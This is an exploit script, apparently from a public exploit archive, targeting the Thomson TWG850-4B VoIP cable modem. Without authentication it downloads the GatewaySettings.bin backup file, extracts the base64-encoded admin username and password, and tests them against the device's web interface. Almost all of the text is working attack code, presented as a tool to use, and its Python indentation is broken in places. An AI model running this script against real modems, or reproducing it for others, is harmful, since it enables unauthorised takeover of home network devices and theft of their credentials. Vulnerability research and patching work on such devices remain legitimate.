Thomson Wireless VoIP Cable Modem TWG850-4B ST9C.05.08 - Authentication Bypass

###############################################################################
#+-////////////////////////////////////////////////////////////////////////////
#+-
#+- Exploit Title: Thomson Wireless VoIP Cable Modem Arbitrary File Access 
#+- Date: October 22, 2013
#+- Author: 0rwelllabs
#+-
#+- Product: TWG850-4B Wireless VoIP Cable Modem
#+- Software Version: ST9C.05.08
#+- Hardware Version: 2.1
#+- BOOT Revision: 2.1.7i
#+- Standard Specification Compliant: DOCSIS 2.0
#+- Firmware Name: DWG850-4-9C.05.08-110217-S-1FF.bin
#+- Firmware Build Time 19:19:19 Thu Feb 17 2011
#+- Severity: High
#+-
#+-\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
################################################################################



import string
import urllib2
import sys
from time import sleep
import base64
import binascii
import os

save  = 'log_TWG8504B.txt'
log   = open(save,'w')
bifi  = 'GatewaySettings.bin'
refi  = 'RgComputers.asp'
R_C   = ("\033[0;31m")
G_C   = ("\033[1;32m")
D_C   = ("\033[0m"   )


def banner():
os.system('clear')
print "\nThomson Wireless VoIP Cable Modem DWG850 -4B (Software Version:ST9C.05.08)- Arbitrary File Read\n \
        \t- 2013 - O_Orwelllabs\n\n"


def hr_data(filename, min=4):
with open(filename, "rb") as f:
        result = ""
        for c in f.read():
            if c in string.printable:
                result += c
                continue
            if len(result) >= min:
                yield result
print >> log, result
            result = ""
print "(+)- Others Informations Extracted Saved in %s, but you've a Admin Password :D\n"%(save)

def checkcreds(router,username,password):
auth_handler = urllib2.HTTPBasicAuthHandler()
auth_handler.add_password(realm='Thomson',
                          uri = router,
                          user = username,
                          passwd= password)
opener = urllib2.build_opener(auth_handler)
try:
        urllib2.install_opener(opener)
        status = urllib2.urlopen('%s/%s'%(router,refi))
        print '(+)- [status:%s%s%s] Authenticated successfuly, Enjoy it!'%(G_C,status.code,D_C)

except urllib2.URLError, e:
    if e.code == 401:
        print '(+)- [status:%s%s%s] Invalid Credentials! Try yourself in a browser.'%(R_C,e.code,D_C)

def checkvuln(router):
try:
print '(+)- Checking if target is vulnerable...'
req = urllib2.Request('%s/%s'%(router,bifi))
response = urllib2.urlopen(req)
page = response.read()
x = open(bifi,'wb')
x.write(page)
x.close()
sleep(1)
print '(+)- The target appears to be vulnerable, lets check it better!'
print '(+)- Searching Credentials...'
sleep(1)
for s in hr_data(bifi):
try:
dec = base64.decodestring(s)
if dec.find(':') != -1:
user,passwd = dec.split(':')
print '(+)- User: %s%s%s'%(G_C,user,D_C)
print '(+)- Pass: %s%s%s'%(G_C,passwd,D_C)
print '(+)- Checking if creds are OK...'
checkcreds(router,user,passwd)
except(binascii.Error):
pass
except urllib2.URLError, e:
print '[$] hollyshit! the target is not vuln! o.O (%s%s%s)'%(R_C,e.reason[1],D_C)
sys.exit(1)

if __name__ == "__main__":
banner()
        if len(sys.argv) != 2:
                print '[!] %sRun %s router IP%s\n'%(R_C,sys.argv[0],D_C)
                sys.exit(2)
        router = sys.argv[1]
        if not "http" in router:
                        router = "http://"+(sys.argv[1])
        checkvuln(router)